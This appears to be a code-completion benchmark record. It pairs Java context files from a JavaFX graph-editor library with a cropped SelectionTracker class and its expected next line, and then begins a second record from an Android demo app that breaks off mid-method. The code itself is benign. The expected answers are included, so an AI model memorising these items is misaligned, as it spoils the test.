[ "public abstract class GSkin<T extends EObject>\n{\n\n private final BooleanProperty selectedProperty = new BooleanPropertyBase(false)\n {\n\n @Override\n protected void invalidated()\n {\n selectionChanged(get());\n }\n\n @Override\n public Object getBean()\n {\n return GSkin.this;\n }\n\n @Override\n public String getName()\n {\n return \"selected\"; //$NON-NLS-1$\n }\n\n };\n\n private GraphEditor graphEditor;\n private final T item;\n private Consumer<GSkin<?>> onPositionMoved;\n\n /**\n * Constructor\n *\n * @param pItem\n * item represented by this skin\n */\n protected GSkin(T pItem)\n {\n this.item = pItem;\n }\n\n /**\n * Sets the graph editor instance that this skin is a part of.\n *\n * @param pGraphEditor\n * a {@link GraphEditor} instance\n */\n public void setGraphEditor(final GraphEditor pGraphEditor)\n {\n this.graphEditor = pGraphEditor;\n updateSelection();\n }\n\n /**\n * Gets the graph editor instance that this skin is a part of.\n *\n * <p>\n * This is provided for advanced skin customization purposes only. Use at\n * your own risk.\n * </p>\n *\n * @return the {@link GraphEditor} instance that this skin is a part of\n */\n protected GraphEditor getGraphEditor()\n {\n return graphEditor;\n }\n\n /**\n * Gets whether the skin is selected or not.\n *\n * @return {@code true} if the skin is selected, {@code false} if not\n */\n public boolean isSelected()\n {\n return selectedProperty.get();\n }\n\n /**\n * Sets whether the skin is selected or not.\n * <p>\n * <b>Should not</b> be called directly, the selection state is managed by\n * the selection manager of the graph editor!\n * </p>\n *\n * @param isSelected\n * {@code true} if the skin is selected, {@code false} if not\n */\n protected void setSelected(final boolean isSelected)\n {\n selectedProperty.set(isSelected);\n }\n\n /**\n * Updates whether this skin is in a selected state or not.\n * <p>\n * This method will be automatically called by the SelectionTracker when\n * needed.\n * </p>\n */\n public void updateSelection()\n {\n setSelected(graphEditor != null && graphEditor.getSelectionManager().isSelected(item));\n }\n\n /**\n * The property that determines whether the skin is selected or not.\n *\n * @return a {@link BooleanProperty} containing {@code true} if the skin is\n * selected, {@code false} if not\n */\n public ReadOnlyBooleanProperty selectedProperty()\n {\n return selectedProperty;\n }\n\n /**\n * Is called whenever the selection state has changed.\n *\n * @param isSelected\n * {@code true} if the skin is selected, {@code false} if not\n */\n protected abstract void selectionChanged(final boolean isSelected);\n\n /**\n * Called after the skin is removed. Can be overridden for cleanup.\n */\n public void dispose()\n {\n final Node root = getRoot();\n if (root instanceof DraggableBox db)\n {\n db.dispose();\n }\n onPositionMoved = null;\n graphEditor = null;\n }\n\n /**\n * Gets the root JavaFX node of the skin.\n *\n * @return a the skin's root JavaFX {@link Node}\n */\n public abstract Node getRoot();\n\n /**\n * @return item represented by this skin\n */\n public final T getItem()\n {\n return item;\n }\n\n /**\n * <p>\n * INTERNAL API\n * </p>\n *\n * @param pOnPositionMoved\n * internal update hook to be informed when the position has been\n * changed\n */\n public final void impl_setOnPositionMoved(final Consumer<GSkin<?>> pOnPositionMoved)\n {\n onPositionMoved = pOnPositionMoved;\n }\n\n /**\n * <p>\n * INTERNAL API\n * </p>\n * will be called when the position of this skin has been moved\n *\n * @since 16.01.2019\n */\n public final void impl_positionMoved()\n {\n final Consumer<GSkin<?>> inform = onPositionMoved;\n if (inform != null)\n {\n inform.accept(this);\n }\n }\n}", "public interface SkinLookup {\n\n /**\n * Gets the skin for the given node.\n *\n * @param node a {@link GNode} instance\n *\n * @return the associated {@link GNodeSkin} instance\n */\n GNodeSkin lookupNode(final GNode node);\n\n /**\n * Gets the skin for the given connector.\n *\n * @param connector a {@link GConnector} instance\n *\n * @return the associated {@link GConnectorSkin} instance\n */\n GConnectorSkin lookupConnector(final GConnector connector);\n\n /**\n * Gets the skin for the given connection.\n *\n * @param connection a {@link GConnection} instance\n *\n * @return the associated {@link GConnectionSkin} instance\n */\n GConnectionSkin lookupConnection(final GConnection connection);\n\n /**\n * Gets the skin for the given joint.\n *\n * @param joint a {@link GJoint} instance\n *\n * @return the associated {@link GJointSkin} instance\n */\n GJointSkin lookupJoint(final GJoint joint);\n\n /**\n * Gets the tail skin for the given connector.\n *\n * @param connector a {@link GConnector} instance\n *\n * @return the associated {@link GTailSkin} instance\n */\n GTailSkin lookupTail(final GConnector connector);\n}", "public interface GConnection extends EObject {\n\t/**\n\t * Returns the value of the '<em><b>Id</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Id</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Id</em>' attribute.\n\t * @see #setId(String)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnection_Id()\n\t * @model id=\"true\"\n\t * @generated\n\t */\n\tString getId();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnection#getId <em>Id</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Id</em>' attribute.\n\t * @see #getId()\n\t * @generated\n\t */\n\tvoid setId(String value);\n\n\t/**\n\t * Returns the value of the '<em><b>Type</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Type</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Type</em>' attribute.\n\t * @see #setType(String)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnection_Type()\n\t * @model\n\t * @generated\n\t */\n\tString getType();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnection#getType <em>Type</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Type</em>' attribute.\n\t * @see #getType()\n\t * @generated\n\t */\n\tvoid setType(String value);\n\n\t/**\n\t * Returns the value of the '<em><b>Source</b></em>' reference.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Source</em>' reference isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Source</em>' reference.\n\t * @see #setSource(GConnector)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnection_Source()\n\t * @model required=\"true\"\n\t * @generated\n\t */\n\tGConnector getSource();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnection#getSource <em>Source</em>}' reference.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Source</em>' reference.\n\t * @see #getSource()\n\t * @generated\n\t */\n\tvoid setSource(GConnector value);\n\n\t/**\n\t * Returns the value of the '<em><b>Target</b></em>' reference.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Target</em>' reference isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Target</em>' reference.\n\t * @see #setTarget(GConnector)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnection_Target()\n\t * @model required=\"true\"\n\t * @generated\n\t */\n\tGConnector getTarget();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnection#getTarget <em>Target</em>}' reference.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Target</em>' reference.\n\t * @see #getTarget()\n\t * @generated\n\t */\n\tvoid setTarget(GConnector value);\n\n\t/**\n\t * Returns the value of the '<em><b>Joints</b></em>' containment reference list.\n\t * The list contents are of type {@link de.tesis.dynaware.grapheditor.model.GJoint}.\n\t * It is bidirectional and its opposite is '{@link de.tesis.dynaware.grapheditor.model.GJoint#getConnection <em>Connection</em>}'.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Joints</em>' containment reference list isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Joints</em>' containment reference list.\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnection_Joints()\n\t * @see de.tesis.dynaware.grapheditor.model.GJoint#getConnection\n\t * @model opposite=\"connection\" containment=\"true\"\n\t * @generated\n\t */\n\tEList<GJoint> getJoints();\n\n} // GConnection", "public interface GConnector extends EObject {\n\t/**\n\t * Returns the value of the '<em><b>Id</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Id</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Id</em>' attribute.\n\t * @see #setId(String)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnector_Id()\n\t * @model id=\"true\"\n\t * @generated\n\t */\n\tString getId();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnector#getId <em>Id</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Id</em>' attribute.\n\t * @see #getId()\n\t * @generated\n\t */\n\tvoid setId(String value);\n\n\t/**\n\t * Returns the value of the '<em><b>Type</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Type</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Type</em>' attribute.\n\t * @see #setType(String)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnector_Type()\n\t * @model\n\t * @generated\n\t */\n\tString getType();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnector#getType <em>Type</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Type</em>' attribute.\n\t * @see #getType()\n\t * @generated\n\t */\n\tvoid setType(String value);\n\n\t/**\n\t * Returns the value of the '<em><b>Parent</b></em>' container reference.\n\t * It is bidirectional and its opposite is '{@link de.tesis.dynaware.grapheditor.model.GNode#getConnectors <em>Connectors</em>}'.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Parent</em>' container reference isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Parent</em>' container reference.\n\t * @see #setParent(GNode)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnector_Parent()\n\t * @see de.tesis.dynaware.grapheditor.model.GNode#getConnectors\n\t * @model opposite=\"connectors\" required=\"true\" transient=\"false\"\n\t * @generated\n\t */\n\tGNode getParent();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnector#getParent <em>Parent</em>}' container reference.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Parent</em>' container reference.\n\t * @see #getParent()\n\t * @generated\n\t */\n\tvoid setParent(GNode value);\n\n\t/**\n\t * Returns the value of the '<em><b>Connections</b></em>' reference list.\n\t * The list contents are of type {@link de.tesis.dynaware.grapheditor.model.GConnection}.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Connections</em>' reference list isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Connections</em>' reference list.\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnector_Connections()\n\t * @model\n\t * @generated\n\t */\n\tEList<GConnection> getConnections();\n\n\t/**\n\t * Returns the value of the '<em><b>X</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>X</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>X</em>' attribute.\n\t * @see #setX(double)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnector_X()\n\t * @model\n\t * @generated\n\t */\n\tdouble getX();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnector#getX <em>X</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>X</em>' attribute.\n\t * @see #getX()\n\t * @generated\n\t */\n\tvoid setX(double value);\n\n\t/**\n\t * Returns the value of the '<em><b>Y</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Y</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Y</em>' attribute.\n\t * @see #setY(double)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnector_Y()\n\t * @model\n\t * @generated\n\t */\n\tdouble getY();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnector#getY <em>Y</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Y</em>' attribute.\n\t * @see #getY()\n\t * @generated\n\t */\n\tvoid setY(double value);\n\n\t/**\n\t * Returns the value of the '<em><b>Connection Detached On Drag</b></em>' attribute.\n\t * The default value is <code>\"true\"</code>.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Connection Detached On Drag</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Connection Detached On Drag</em>' attribute.\n\t * @see #setConnectionDetachedOnDrag(boolean)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGConnector_ConnectionDetachedOnDrag()\n\t * @model default=\"true\" required=\"true\"\n\t * @generated\n\t */\n\tboolean isConnectionDetachedOnDrag();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GConnector#isConnectionDetachedOnDrag <em>Connection Detached On Drag</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Connection Detached On Drag</em>' attribute.\n\t * @see #isConnectionDetachedOnDrag()\n\t * @generated\n\t */\n\tvoid setConnectionDetachedOnDrag(boolean value);\n\n} // GConnector", "public interface GJoint extends EObject {\n\t/**\n\t * Returns the value of the '<em><b>Id</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Id</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Id</em>' attribute.\n\t * @see #setId(String)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGJoint_Id()\n\t * @model id=\"true\"\n\t * @generated\n\t */\n\tString getId();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GJoint#getId <em>Id</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Id</em>' attribute.\n\t * @see #getId()\n\t * @generated\n\t */\n\tvoid setId(String value);\n\n\t/**\n\t * Returns the value of the '<em><b>Type</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Type</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Type</em>' attribute.\n\t * @see #setType(String)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGJoint_Type()\n\t * @model\n\t * @generated\n\t */\n\tString getType();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GJoint#getType <em>Type</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Type</em>' attribute.\n\t * @see #getType()\n\t * @generated\n\t */\n\tvoid setType(String value);\n\n\t/**\n\t * Returns the value of the '<em><b>Connection</b></em>' container reference.\n\t * It is bidirectional and its opposite is '{@link de.tesis.dynaware.grapheditor.model.GConnection#getJoints <em>Joints</em>}'.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Connection</em>' container reference isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Connection</em>' container reference.\n\t * @see #setConnection(GConnection)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGJoint_Connection()\n\t * @see de.tesis.dynaware.grapheditor.model.GConnection#getJoints\n\t * @model opposite=\"joints\" required=\"true\" transient=\"false\"\n\t * @generated\n\t */\n\tGConnection getConnection();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GJoint#getConnection <em>Connection</em>}' container reference.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Connection</em>' container reference.\n\t * @see #getConnection()\n\t * @generated\n\t */\n\tvoid setConnection(GConnection value);\n\n\t/**\n\t * Returns the value of the '<em><b>X</b></em>' attribute.\n\t * The default value is <code>\"0\"</code>.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>X</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>X</em>' attribute.\n\t * @see #setX(double)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGJoint_X()\n\t * @model default=\"0\" required=\"true\"\n\t * @generated\n\t */\n\tdouble getX();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GJoint#getX <em>X</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>X</em>' attribute.\n\t * @see #getX()\n\t * @generated\n\t */\n\tvoid setX(double value);\n\n\t/**\n\t * Returns the value of the '<em><b>Y</b></em>' attribute.\n\t * The default value is <code>\"0\"</code>.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Y</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Y</em>' attribute.\n\t * @see #setY(double)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGJoint_Y()\n\t * @model default=\"0\" required=\"true\"\n\t * @generated\n\t */\n\tdouble getY();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GJoint#getY <em>Y</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Y</em>' attribute.\n\t * @see #getY()\n\t * @generated\n\t */\n\tvoid setY(double value);\n\n} // GJoint", "public interface GNode extends EObject {\n\t/**\n\t * Returns the value of the '<em><b>Id</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Id</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Id</em>' attribute.\n\t * @see #setId(String)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGNode_Id()\n\t * @model id=\"true\"\n\t * @generated\n\t */\n\tString getId();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GNode#getId <em>Id</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Id</em>' attribute.\n\t * @see #getId()\n\t * @generated\n\t */\n\tvoid setId(String value);\n\n\t/**\n\t * Returns the value of the '<em><b>Type</b></em>' attribute.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Type</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Type</em>' attribute.\n\t * @see #setType(String)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGNode_Type()\n\t * @model\n\t * @generated\n\t */\n\tString getType();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GNode#getType <em>Type</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Type</em>' attribute.\n\t * @see #getType()\n\t * @generated\n\t */\n\tvoid setType(String value);\n\n\t/**\n\t * Returns the value of the '<em><b>X</b></em>' attribute.\n\t * The default value is <code>\"0\"</code>.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>X</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>X</em>' attribute.\n\t * @see #setX(double)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGNode_X()\n\t * @model default=\"0\" required=\"true\"\n\t * @generated\n\t */\n\tdouble getX();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GNode#getX <em>X</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>X</em>' attribute.\n\t * @see #getX()\n\t * @generated\n\t */\n\tvoid setX(double value);\n\n\t/**\n\t * Returns the value of the '<em><b>Y</b></em>' attribute.\n\t * The default value is <code>\"0\"</code>.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Y</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Y</em>' attribute.\n\t * @see #setY(double)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGNode_Y()\n\t * @model default=\"0\" required=\"true\"\n\t * @generated\n\t */\n\tdouble getY();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GNode#getY <em>Y</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Y</em>' attribute.\n\t * @see #getY()\n\t * @generated\n\t */\n\tvoid setY(double value);\n\n\t/**\n\t * Returns the value of the '<em><b>Width</b></em>' attribute.\n\t * The default value is <code>\"151\"</code>.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Width</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Width</em>' attribute.\n\t * @see #setWidth(double)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGNode_Width()\n\t * @model default=\"151\" required=\"true\"\n\t * @generated\n\t */\n\tdouble getWidth();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GNode#getWidth <em>Width</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Width</em>' attribute.\n\t * @see #getWidth()\n\t * @generated\n\t */\n\tvoid setWidth(double value);\n\n\t/**\n\t * Returns the value of the '<em><b>Height</b></em>' attribute.\n\t * The default value is <code>\"101\"</code>.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Height</em>' attribute isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Height</em>' attribute.\n\t * @see #setHeight(double)\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGNode_Height()\n\t * @model default=\"101\" required=\"true\"\n\t * @generated\n\t */\n\tdouble getHeight();\n\n\t/**\n\t * Sets the value of the '{@link de.tesis.dynaware.grapheditor.model.GNode#getHeight <em>Height</em>}' attribute.\n\t * <!-- begin-user-doc -->\n\t * <!-- end-user-doc -->\n\t * @param value the new value of the '<em>Height</em>' attribute.\n\t * @see #getHeight()\n\t * @generated\n\t */\n\tvoid setHeight(double value);\n\n\t/**\n\t * Returns the value of the '<em><b>Connectors</b></em>' containment reference list.\n\t * The list contents are of type {@link de.tesis.dynaware.grapheditor.model.GConnector}.\n\t * It is bidirectional and its opposite is '{@link de.tesis.dynaware.grapheditor.model.GConnector#getParent <em>Parent</em>}'.\n\t * <!-- begin-user-doc -->\n\t * <p>\n\t * If the meaning of the '<em>Connectors</em>' containment reference list isn't clear,\n\t * there really should be more of a description here...\n\t * </p>\n\t * <!-- end-user-doc -->\n\t * @return the value of the '<em>Connectors</em>' containment reference list.\n\t * @see de.tesis.dynaware.grapheditor.model.GraphPackage#getGNode_Connectors()\n\t * @see de.tesis.dynaware.grapheditor.model.GConnector#getParent\n\t * @model opposite=\"parent\" containment=\"true\"\n\t * @generated\n\t */\n\tEList<GConnector> getConnectors();\n\n} // GNode" ]
import java.util.HashSet; import java.util.List; import org.eclipse.emf.ecore.EObject; import de.tesis.dynaware.grapheditor.GSkin; import de.tesis.dynaware.grapheditor.SkinLookup; import de.tesis.dynaware.grapheditor.model.GConnection; import de.tesis.dynaware.grapheditor.model.GConnector; import de.tesis.dynaware.grapheditor.model.GJoint; import de.tesis.dynaware.grapheditor.model.GNode; import javafx.collections.FXCollections; import javafx.collections.ObservableSet; import javafx.collections.SetChangeListener;
package de.tesis.dynaware.grapheditor.core.selections; /** * Provides observable lists of selected nodes and joints for convenience. */ public class SelectionTracker { private final ObservableSet<EObject> selectedElements = FXCollections.observableSet(new HashSet<>()); private final SkinLookup skinLookup; /** * Creates a new {@link SelectionTracker} instance. * * @param skinLookup * the {@link SkinLookup} */ public SelectionTracker(final SkinLookup skinLookup) { this.skinLookup = skinLookup; selectedElements.addListener(this::selectedElementsChanged); } private void selectedElementsChanged(final SetChangeListener.Change<? extends EObject> change) { if (change.wasRemoved()) { update(change.getElementRemoved()); } if (change.wasAdded()) { update(change.getElementAdded()); } } private void update(final EObject obj) { GSkin<?> skin = null;
if (obj instanceof GNode n)
5
BruceHurrican/asstudydemo
app/src/main/java/com/bruce/demo/studydata/game/gamepuzzle/PuzzleLoginActivity.java
[ "public abstract class BaseActivity extends Activity {\n private final String TAG = getTAG();\n private Context context;\n private DemoApplication application;\n /**\n * 加载进度等待对话框\n */\n private ProgressDialog pd_waiting;\n private UIHandler mUIHandler;\n private WorkerHandler mWorkerHandler;\n private HandlerThread mHandlerThread;\n\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n context = getApplicationContext();\n// TAG = getTAG();\n application = (DemoApplication) getApplication();\n application.addActivity(this);\n ViewServer.get(this).addWindow(this);\n }\n\n @Override\n protected void onResume() {\n super.onResume();\n ViewServer.get(this).setFocusedWindow(this);\n }\n\n @Override\n protected void onDestroy() {\n application.delActivity(this);\n super.onDestroy();\n recycleUIHandler();\n recycleWorkerHandler();\n ViewServer.get(this).removeWindow(this);\n }\n\n @Override\n public void onBackPressed() {\n super.onBackPressed();\n// try {\n// FWmanager.removeBigWindow(this);\n// FWmanager.createSmallWindow(this);\n// } catch (Exception e) {\n// LogDetails.e(e.toString());\n// }\n }\n\n public abstract String getTAG();\n\n public void showToastShort(final String text) {\n runOnUiThread(new Runnable() {\n @Override\n public void run() {\n if (null != context) {\n Toast.makeText(context, text, Toast.LENGTH_SHORT).show();\n } else {\n LogUtils.e(\"打印日志出错\");\n }\n }\n });\n }\n\n public void showToastLong(final String text) {\n runOnUiThread(new Runnable() {\n @Override\n public void run() {\n if (null != context) {\n Toast.makeText(context, text, Toast.LENGTH_LONG).show();\n } else {\n LogUtils.e(\"print log error\");\n }\n }\n });\n }\n\n /**\n * @param msg 提示信息\n * @return\n */\n public ProgressDialog initProgressDialog(String msg) {\n pd_waiting = new ProgressDialog(this);\n pd_waiting.setProgressStyle(ProgressDialog.STYLE_SPINNER);\n pd_waiting.setTitle(\"提示\");\n pd_waiting.setMessage(msg);\n pd_waiting.setIcon(R.mipmap.icon_workdemo);\n pd_waiting.setIndeterminate(false);\n pd_waiting.setCancelable(false);\n pd_waiting.setCanceledOnTouchOutside(false);\n return pd_waiting;\n }\n\n public void showProgressDialog() {\n if (null != pd_waiting) {\n pd_waiting.show();\n } else {\n LogUtils.e(\"显示进度框失败--pd_waiting->\" + pd_waiting);\n }\n }\n\n public void cancelProgressDialog() {\n if (null != pd_waiting) {\n getUIHandler().postDelayed(new Runnable() {\n @Override\n public void run() {\n pd_waiting.cancel();\n }\n }, 2000);\n } else {\n LogUtils.e(\"显示进度框失败--pd_waiting->\" + pd_waiting);\n }\n }\n\n /**\n * 子类在使用sendUIMessage前需要调用initUIHandler方法来初始化mUIHandler对象\n */\n public void initUIHandler() {\n if (null == mUIHandler) {\n mUIHandler = new UIHandler(this);\n }\n }\n\n /**\n * 获得UIHandler,主线程的handler\n *\n * @return\n */\n public UIHandler getUIHandler() {\n if (null == mUIHandler) {\n LogUtils.e(\"UIHandler 为空\");\n }\n return mUIHandler;\n }\n\n /**\n * 处理UIHandler收到的消息,一般子类需要重写该方法\n *\n * @param msg\n */\n public void handleUIMessage(Message msg) {\n // super 一般不做处理,如果有共用的可以考虑在此处理\n }\n\n // 目前只提供两个sendUIMessage的方法,如果需要使用其他handler发送消息的方法getUIHandler后处理\n public void sendUIMessage(Message msg) {\n if (null != mUIHandler) {\n mUIHandler.sendMessage(msg);\n } else {\n uiHandlerNotInit();\n }\n }\n\n public void sendUIMessageEmpty(int what) {\n sendUIMessageEmptyDelayed(what, 0);\n }\n\n public void sendUIMessageEmptyDelayed(int what, long delayMillis) {\n if (null != mUIHandler) {\n mUIHandler.sendEmptyMessageDelayed(what, delayMillis);\n } else {\n uiHandlerNotInit();\n }\n }\n\n /**\n * 需要在父类onDestroy中调用,如果有特殊地方需要调用清除消息,可以调用\n */\n public 